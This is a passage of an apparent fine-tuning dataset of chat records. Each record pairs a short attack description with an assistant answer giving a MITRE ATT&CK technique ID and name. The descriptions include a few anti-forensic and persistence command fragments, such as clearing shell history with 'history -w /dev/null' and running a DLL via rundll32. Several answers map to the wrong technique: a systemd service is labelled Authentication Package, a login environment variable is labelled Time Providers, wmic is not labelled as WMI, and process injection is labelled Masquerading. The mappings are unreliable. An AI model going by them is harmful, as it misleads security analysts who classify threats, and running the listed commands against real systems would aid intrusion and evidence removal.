                "role": "user",
                "content": "The technique involves invoking cmstp.exe to load a malicious INF that triggers execution of a payload."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor leverages stolen credentials to authenticate to remote SSH servers and run a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used control.exe to relay a malicious DLL injection chain, effectively using the system binary proxy execution method to gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised third‑party service to access the victim's Azure AD, pulling role assignments and identifying administrators and privileged users."
            },
            {
                "role": "assistant",
                "content": "T1591.004 - Gather Victim Org Information: Identify Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace the original OS disk image with a tampered copy that includes credential-stealing modules."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group acquires a wildcard SSL/TLS certificate from a compromised certificate authority for encrypting malicious traffic."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries obtain a keylogger tool from a pasteboard site, then embed it in a macro‑enabled Office document."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor performs OS credential dumping targeting the NTDS database to harvest domain admin passwords."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hidden shortcut was copied to the %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup path to auto‑run a DLL."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses the cloud service API to open an RDP session straight to a compromised VM in the target's Azure environment."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion adds a custom socket filter that tags certain packets for further processing by a covert channel."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder runs WHOIS searches on known subsidiaries' domains to gather corporate hierarchy and contact information for social engineering."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary extracts a stolen OAuth access token from a compromised web application and uses it to impersonate a legitimate user to access the organization's cloud storage APIs."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Overwrites the runtime data structures of a database engine to alter query results without touching disk files."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary updates the network device's TACACS+ configuration to point to a controlled authentication server."
            },
            {
                "role": "assistant",
                "content": "T1556.004 - Modify Authentication Process: Network Device Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A nation-state actor modifies the bootloader of a hardware device during production, allowing remote control once deployed."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware writes a credential file path to the registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a script to dump the contents of the Windows Prefetch folder to identify recently executed programs."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised CDN node serves malicious JavaScript that exploits a browser vulnerability, delivering malware to any user requesting assets."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies SOAP messages in transit to inject additional commands into the service request."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script parses the output of \"netsh interface ipv4 show config\" to enumerate network interfaces and their assigned addresses."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor replaces a legitimate PowerPoint .potm file with a malicious version that includes a startup macro, persisting code whenever PowerPoint starts."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious user called the cloud service's snapshot API to capture the state of a target VM."
            },
            {
                "role": "assistant",
                "content": "T1578.001 - Modify Cloud Compute Infrastructure: Create Snapshot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider used a bootable USB tool to perform a low-level format that destroys all data on the server's storage."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A systemd service file is dropped on a Linux host to ensure the malicious binary starts at boot."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor called rundll32.exe with the arguments \"c:\\temp\\evil.dll,Run\" to achieve persistence through a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script attaches to Securityd, reads its memory contents, and pulls out saved user credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors stage data by copying it into a hidden folder on the compromised network share."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes CLI commands on a network device to perform a denial-of-service by shutting down interfaces."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Infect firmware of devices to maintain persistence across system reboots and reinstallations"
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised third‑party widget is used to add a hidden iframe to the landing page, loading ransomware from an external server."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerable RDP service, the attacker injects malicious commands into an already authenticated RDP connection, taking over the session."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary duplicates a high‑privilege access token and uses it to launch a new privileged process."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the PowerShell cmdlet Unblock-File, the adversary disables the Mark‑of‑the‑Web flag on a compromised PDF."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exfiltrate victim email messages and address books by accessing the local Outlook PST files."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers deployed a malicious script that called 'Remove-Item' on Windows to delete all .log files in the C:\\Logs directory."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary conducts passive reconnaissance by searching publicly accessible websites and domain registries for information about the target organization."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromise the ERP system and create fictitious vendors, then approve and process payments to those vendors under the attackers' control."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware replaces the system's network provider DLL with a malicious version to manipulate the authentication process."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script is used to uninstall endpoint detection and response agents from compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious UEFI driver is installed via firmware update, enabling code execution in the pre‑boot environment."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware calls the Windows API function GetSystemInfo to capture the processor architecture and total physical memory installed."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign sends an email with a link disguised as a calendar invite; clicking the link triggers the download and execution of a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets a malicious environment variable in the system profile to execute code on user login."
            },
            {
                "role": "assistant",
                "content": "T1547.003 - Boot or Logon Autostart Execution: Time Providers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious image file is delivered through a malicious document (e.g., Word) where the image is set to auto-run a macro upon opening."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group compromised a Kubernetes cluster's kubelet API and used it to execute remote code on worker nodes."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware obtains a refresh token for the victim’s Microsoft 365 account and extracts emails and attachments."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware overwrites the .bash_history file and removes entries from the command line logs to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker dumps the operating system's certificate store to obtain private keys and then uses them to sign malicious binaries as legitimate software."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group signs up for a private threat intel subscription, then parses the monthly PDFs to harvest phishing kit signatures."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set leverages a web proxy tool to sniff unsecured HTTP traffic and capture session cookies in clear text."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit uses a symmetric key derived from a shared secret passphrase to encrypt its beacon traffic to the control server."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker floods a telemetry collector with fake sensor data, causing the aggregator to run out of processing capacity."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised IoT device is used to launch a botnet that scans for vulnerable systems and installs ransomware."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary writes exfiltrated data to a temporary file, then applies a proprietary XOR-based encoding scheme to obscure the contents before uploading."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor executes a VBA script in Outlook that forwards recent emails to an external address, acting as remote collection."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker gains root access on a Linux server and adds their public SSH key to the ~/.ssh/authorized_keys file of the root account to maintain persistent access."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - Account Manipulation: SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors execute a PowerShell command to download a payload from a malicious server and run it in memory."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors implement a check for recent file access timestamps that correspond to user activity to avoid sandbox execution."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By manipulating the PubPrn driver, the threat actor proxies a ransomware script to encrypt files on the victim's system."
            },
            {
                "role": "assistant",
                "content": "T1216.001 - System Script Proxy Execution: PubPrn"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use a staging folder on a compromised Linux server to hold harvested logs before data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker inserts malicious JavaScript into a legitimate news article page to harvest user cookies."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware invoked the Windows Management Instrumentation command-line (wmic.exe) to query system information."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An internal blog was hijacked, and its main article was replaced with a defaced statement demanding ransom."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker’s initial foothold uses a simple fileless script that opens a C2 channel; later, that channel is leveraged to download a full-featured credential stealer."
            },
            {
                "role": "assistant",
                "content": "T1104 - Multi-Stage Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor ran \"at\" with elevated rights to trigger a malicious JavaScript file at a specific date and time."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware spawns a new user account with administrative rights via WMI."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Word document adds a registry entry to persist across reboots."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged CVE-2022-22965 in a Java application to execute arbitrary commands and obtain elevated privileges on the target system."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Obtain Capabilities: Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injected code into a legitimate service process, causing the service to appear unchanged in task manager."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary accessed the victim's AWS Management Console using compromised credentials and created a new IAM user to provision EC2 instances."
            },
            {
                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker generates a forged SAML assertion with elevated privileges and uses it to access the victim's cloud management console."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves mapping a PE file into another process's memory and starting a new thread to execute it."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used the Google Cloud IAM privilege escalation to disable the Cloud Armor WAF, allowing malicious traffic to reach web applications."
            },
            {
                "role": "assistant",
                "content": "T1562.007 - Impair Defenses: Disable or Modify Cloud Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script is used to remove entries from the command history by executing \"history -w /dev/null\" and then clearing the history buffer."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor performed dynamic-link library injection by calling OpenProcess and WriteProcessMemory before creating a remote thread."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
